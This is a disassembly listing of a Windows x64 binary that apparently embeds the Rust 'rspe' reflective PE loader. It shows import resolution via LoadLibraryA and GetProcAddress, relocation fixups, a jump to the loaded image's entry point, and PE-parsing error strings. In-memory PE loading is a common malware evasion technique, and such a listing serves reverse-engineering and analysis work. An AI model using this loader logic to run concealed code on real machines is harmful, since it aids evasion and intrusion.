lea r14, [r15 + 2]
lea r12, [rsp + 0xe0]
mov edx, dword [rsi + 0xc]
test rdx, rdx
je 0x14003e649
mov ebx, dword [rsi + 0x10]
test rbx, rbx
je 0x14003e649
mov qword [rsp + 0xa0], rsi
mov esi, dword [rsi]
add rdx, r15
lea rcx, [rsp + 0x250]
call fcn.140061e45
mov r13, qword [rsp + 0x250]
mov rcx, r13
call sub.kernel32.dll_LoadLibraryA
mov rbp, rax
add rsi, r15
add rbx, r15
mov rdx, qword [rsi]
test rdx, rdx
je 0x14003e628
add rdx, r14
mov rcx, r12
call fcn.140061e45
cmp qword [rsp + 0xf0], 0
mov rdi, qword [rsp + 0xe0]
je 0x14003e60e
mov rcx, rbp
mov rdx, rdi
call sub.kernel32.dll_GetProcAddress
mov qword [rbx], rax
mov rdx, qword [rsp + 0xe8]
mov rcx, rdi
call fcn.140030983
add rsi, 8
add rbx, 8
jmp 0x14003e5da
mov rsi, qword [rsp + 0xa0]
add rsi, 0x14
mov rdx, qword [rsp + 0x258]
mov rcx, r13
call fcn.140030983
jmp 0x14003e58f
mov r11, qword [rsp + 0xd8]
cmp dword [r11 + 0xb4], 0
mov rbx, qword [rsp + 0xd0]
je 0x14003e6b9
mov rcx, qword [r11 + 0x30]
mov rax, r15
sub rax, rcx
mov ecx, dword [r11 + 0xb0]
add rcx, r15
mov edx, dword [rcx + 4]
test edx, edx
je 0x14003e6b9
add edx, 0xfffffff8
shr edx, 1
lea r8, [rcx + 8]
sub rdx, 1
jb 0x14003e6b1
movzx r9d, word [r8]
cmp r9, 0x1000
jb 0x14003e6ab
mov r10d, dword [rcx]
and r9d, 0xfff
add r9, r15
add qword [r10 + r9], rax
add r8, 2
jmp 0x14003e687
mov edx, dword [rcx + 4]
add rcx, rdx
jmp 0x14003e677
mov eax, dword [r11 + 0x28]
add rax, r15
call rax
mov rcx, rbx
mov rdx, qword [rsp + 0x1f0]
call fcn.140030983
jmp 0x14003e9e1
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x98], eax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x1f8], rax
lea rax, [0x1400f0458]
lea rcx, str.Could_not_create_an_array_of_strings:
lea rdx, [rsp + 0xe0]
mov qword [rdx], rcx
mov ecx, 1
mov qword [rdx + 8], rcx
and qword [rdx + 0x20], 0
mov qword [rsp + 0x200], rax
mov rsi, qword [rsp + 0x88]
lea rax, [rsp + 0x1f8]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rcx
lea rcx, [rsp + 0x60]
call fcn.140002919
movzx edi, word [rsp + 0x60]
movzx ebx, word [rsp + 0x62]
movzx ebp, word [rsp + 0x64]
movzx r14d, word [rsp + 0x66]
mov r15, qword [rsp + 0x68]
mov r13, qword [rsp + 0x70]
test rsi, rsi
je 0x14003e773
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
mov rdx, qword [rsp + 0xb8]
mov rcx, r12
call fcn.140017b6c
mov word [rsp + 0x48], di
mov word [rsp + 0x4a], bx
mov word [rsp + 0x4c], bp
mov word [rsp + 0x4e], r14w
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x40], 1
mov esi, 1
mov rcx, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
call fcn.1400f09e1
test rsi, rsi
jne 0x14003efc3
cmp qword [rsp + 0x250], 0
je 0x14003eeb4
mov rsi, qword [rsp + 0x258]
call fcn.140017039
mov rcx, qword [rsp + 0x280]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rsp + 0x270]
movups xmmword [rax], xmm0
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rax
lea rcx, [rsp + 0x60]
call fcn.1400173b4
mov r15, qword [rsp + 0x60]
test r15, r15
jne 0x14003eddd
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0xe0]
and qword [r9], 0
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140017801
cmp qword [rsp + 0x40], 0
jne 0x14003e8d1
mov rsi, qword [rsp + 0x260]
call fcn.140017039
mov rcx, qword [rsp + 0x298]
mov qword [rax + 0x10], rcx
movups xmm0, xmmword [rsp + 0x288]
movups xmmword [rax], xmm0
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rax
lea rcx, [rsp + 0x60]
call fcn.1400173b4
mov r15, qword [rsp + 0x60]
test r15, r15
jne 0x14003eddd
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0xe0]
and qword [r9], 0
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140017801
cmp qword [rsp + 0x40], 0
je 0x14003e8e9
mov r15, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
test r15, r15
jne 0x14003efd2
cmp qword [rsp + 0x250], 0
je 0x14003eec5
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [rsp + 0x2a0]
movaps xmmword [rsp + 0x80], xmm0
mov rsi, qword [rsp + 0x268]
call fcn.1400173a6
mov rcx, qword [rsp + 0x90]
lea r9, [rsp + 0xe0]
mov qword [r9 + 0x18], rcx
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [r9 + 8], xmm0
mov qword [r9], 1
lea rcx, [rsp + 0x40]
mov rdx, rsi
mov r8, rax
call fcn.140017801
cmp qword [rsp + 0x40], 0
jne 0x14003efc3
movups xmm0, xmmword [rsp + 0x48]
mov rax, qword [rsp + 0x58]
lea rcx, [rsp + 0x68]
movups xmmword [rcx - 8], xmm0
mov qword [rcx + 8], rax
lea rdx, [rsp + 0xe0]
mov qword [rdx], 1
xorps xmm0, xmm0
movups xmmword [rdx + 8], xmm0
lea r8, [0x14012ba78]
call fcn.1400f0a0a
test al, al
jne 0x14003ef02
mov rcx, qword [rsp + 0xe0]
mov rdx, qword [rsp + 0xe8]
call fcn.1400f09e1
lea rcx, [rsp + 0x250]
call fcn.1400016db
mov rcx, qword [rsp + 0x340]
mov rdx, qword [rsp + 0x348]
call fcn.1400f09e1
mov rcx, qword [rsp + 0x208]
mov rdx, qword [rsp + 0x210]
call fcn.1400f09e1
mov rsi, qword [rsp + 0x78]
mov rcx, rsi
call fcn.14000186b
mov rcx, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
call fcn.1400f09e1
mov rcx, qword [rsi + 0x38]
mov rdx, qword [rsi + 0x40]
call fcn.1400f09e1
nop
add rsp, 0x388
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x368], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x360], rax
lea rbp, [0x14012bb16]
lea rcx, [rsp + 0xe0]
mov r9d, 0x16
mov rdx, rdi
mov r8, rbp
call fcn.1400176df
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
lea rcx, [rsp + 0xe0]
mov rdx, qword [rcx + 8]
lea r8, [0x14012bb2c]
mov r9d, 8
call fcn.140015e41
mov r15, qword [rsp + 0xe0]
test r15, r15
jne 0x14003edc4
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x358], rax
mov qword [rsp + 0xb0], rbp
mov qword [rsp + 0xb8], 0x16
mov edx, 0x16
mov rcx, rbp
call fcn.1400f0ae1
xorps xmm0, xmm0
lea r8, [rsp + 0x80]
movaps xmmword [r8], xmm0
and qword [r8 + 0x10], 0
mov r9, qword [rdi]
mov rcx, rdi
mov rdx, rax
call qword [r9 + 0x148]
mov dword [rsp + 0x220], eax
test eax, eax
js 0x14003ecad
mov rbx, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x90]
call fcn.140017039
mov qword [rax], rbx
mov qword [rax + 8], r13
mov qword [rax + 0x10], rbp
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
mov qword [rdx + 0x10], rax
lea rcx, [rsp + 0x40]
call fcn.1400173b4
mov r15, qword [rsp + 0x40]
test r15, r15
jne 0x14003f163
lea rcx, [rsp + 0x40]
mov rdi, qword [rcx + 8]
lea r9, [rsp + 0xe0]
and qword [r9], 0
mov rdx, rsi
mov r8, rdi
call fcn.140017801
cmp qword [rsp + 0x40], 0
jne 0x14003da7c
lea r9, [rsp + 0xe0]
and qword [r9], 0
lea rcx, [rsp + 0x40]
mov rdx, r12
mov r8, rdi
call fcn.140017801
cmp qword [rsp + 0x40], 0
jne 0x14003da7c
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0x278], rax
mov rax, qword [rsp + 0x1f0]
mov qword [rsp + 0x280], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x288], rax
mov rax, qword [rsp + 0x368]
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0x298], rax
mov qword [rsp + 0x250], 1
mov qword [rsp + 0x258], rsi
mov qword [rsp + 0x260], r12
mov rax, qword [rsp + 0x358]
mov qword [rsp + 0x268], rax
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x2a8], r13
mov qword [rsp + 0x2b0], rbp
mov qword [rsp + 0x2b8], rbx
mov qword [rsp + 0x2c0], r13
mov qword [rsp + 0x2c8], rbp
jmp 0x14003da94
mov r8, qword [rsp + 0x68]
lea r9, [rsp + 0xe0]
and qword [r9], 0
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140017801
jmp 0x14003df4b
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
lea rax, [fcn.140095849]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x220]
mov qword [rsp + 0x50], rax
lea rax, str.Error_while_creating_instance_of___:_0x
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 2
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x1400264b0]
mov qword [rsp + 0x58], rcx
mov qword [rdx + 0x10], r13
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x60]
call fcn.140002919
mov r15, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
jmp 0x14003da8b
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_utils.rs
mov ebp, 0x3c
jmp 0x14003ed82
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_utils.rs
mov ebp, 0x3d
mov r13d, 0x3d
jmp 0x14003ed82
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_utils.rs
mov ebp, 0x3e
mov r13d, 0x3e
jmp 0x14003ed82
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_utils.rs
mov ebp, 0x3f
mov r13d, 0x3f
jmp 0x14003ed82
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_utils.rs
jmp 0x14003ed82
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_utils.rs
mov rbp, rsi
mov rcx, rbp
mov rdx, r13
call fcn.140019dd0
jmp 0x14003f161
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
jmp 0x14003edb7
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
jmp 0x14003edb7
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
jmp 0x14003edb7
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
mov rcx, rdx
mov rdx, r14
call fcn.140019dd0
jmp 0x14003f161
mov rsi, qword [rsp + 0xe8]
mov rdi, qword [rsp + 0xf0]
jmp 0x14003efd2
ud2
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
jmp 0x14003efd2
lea rax, [rsp + 0xac]
mov qword [rsp + 0x1f8], rax
lea rax, str.Failed_while_running__ToString_:
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x1400f0458]
mov qword [rsp + 0x200], rcx
mov qword [rdx + 0x10], rbx
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x60]
call fcn.140002919
movups xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x80], xmm0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x90], rax
mov rcx, qword [rsp + 0x98]
call fcn.1400f1906
mov rax, qword [rsp + 0x90]
movaps xmm0, xmmword [rsp + 0x80]
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], rax
jmp 0x14003efc3
lea rax, [0x140184b50]
mov qword [rsp + 0x20], rax
lea rcx, [0x140184b12]
lea r9, [0x14012c0d8]
lea r8, [rsp + 0x1f8]
mov edx, 0x37
call fcn.140020f20
jmp 0x14003f161
mov edi, 0x27
mov ecx, 0x27
call fcn.140018028
jmp 0x14003eed4
mov edi, 0x27
mov ecx, 0x27
call fcn.140018028
mov r15, rax
mov rsi, rdx
movups xmm0, xmmword [0x14012bb44]
movups xmmword [rax + 0x10], xmm0
movups xmm0, xmmword [0x14012bb34]
movups xmmword [rax], xmm0
movabs rax, 0x64657a696c616974
mov qword [r15 + 0x1f], rax
jmp 0x14003efd2
lea rax, [0x140184b50]
mov qword [rsp + 0x20], rax
lea rcx, [0x140184b12]
lea r9, [0x14012baa8]
lea r8, [rsp + 0x1f8]
mov edx, 0x37
call fcn.140020f20
jmp 0x14003f161
lea rax, str.its_not_a_PE_file
mov qword [rsp + 0xe0], rax
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
jmp 0x14003f13e
mov qword [rsp + 0x60], r12
lea rax, [0x14012bee0]
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x140002e1b]
mov qword [rsp + 0x68], rcx
mov qword [rdx + 0x10], r13
mov qword [rdx + 0x18], rax
lea rcx, [rsp + 0x220]
call fcn.140002919
movups xmm0, xmmword [rsp + 0x220]
movups xmmword [rsp + 0x48], xmm0
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
call fcn.1400f09e1
mov r15, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
lea r8, [rsp + 0xe0]
mov qword [r8], r15
mov qword [r8 + 8], rsi
mov qword [r8 + 0x10], rdi
lea rax, [0x14012a520]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140128a40]
mov edx, 0x2b
call fcn.140020f20
jmp 0x14003f161
mov rdi, qword [rsp + 0xc0]
jmp 0x14003efd2
mov ecx, 8
mov edx, 0x18
call fcn.14000fd90
jmp 0x14003f161
cmp eax, 0x14c
jne 0x14003f070
lea rax, str.The_platform_not_the_same_as_the_imported_pe.
lea rcx, [rsp + 0xe0]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, str.invalid_type:___expected
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_lib.rs
call fcn.140019ac0
jmp 0x14003f161
lea rcx, str.called__Option::unwrap____on_a__None__valueIWbemClassWrapperinner
lea r8, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_lib.rs
mov edx, 0x2b
call fcn.14001b4b0
jmp 0x14003f161
lea rax, [0x14015e6e8]
mov qword [rsp + 0xe0], rax
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
jmp 0x14003f13e
lea rax, str.file_size_is_less_than_required_offset
mov qword [rsp + 0xe0], rax
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
jmp 0x14003f13e
lea rax, str.invalid_magic_string
mov qword [rsp + 0xe0], rax
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
jmp 0x14003f13e
lea rax, str.its_not_a_PE_file
lea rdx, [rsp + 0xe0]
mov qword [rdx], rax
mov qword [rdx + 8], 1
lea rax, str.invalid_type:___expected
mov qword [rdx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rdx + 0x18], xmm0
lea rcx, [rsp + 0x60]
call fcn.140061d68
jmp 0x14003f161
lea rax, str.invalid_bit_version
mov qword [rsp + 0xe0], rax
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
jmp 0x14003f13e
lea rax, str.invalid_bit_version
mov qword [rsp + 0xe0], rax
lea rdx, str._home_admin_.local_share_cargo_registry_src_index.crates.io_6f17d22bba15001f_rspe_0.1.2_src_pelib.rsfile_size_is_less_than_64
mov qword [r15 + 8], 1
lea rax, str.invalid_type:___expected
mov qword [r15 + 0x10], rax
xorps xmm0, xmm0
movups xmmword [r15 + 0x18], xmm0
mov rcx, r15
call fcn.140019ac0
ud2
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
jmp 0x14003efd2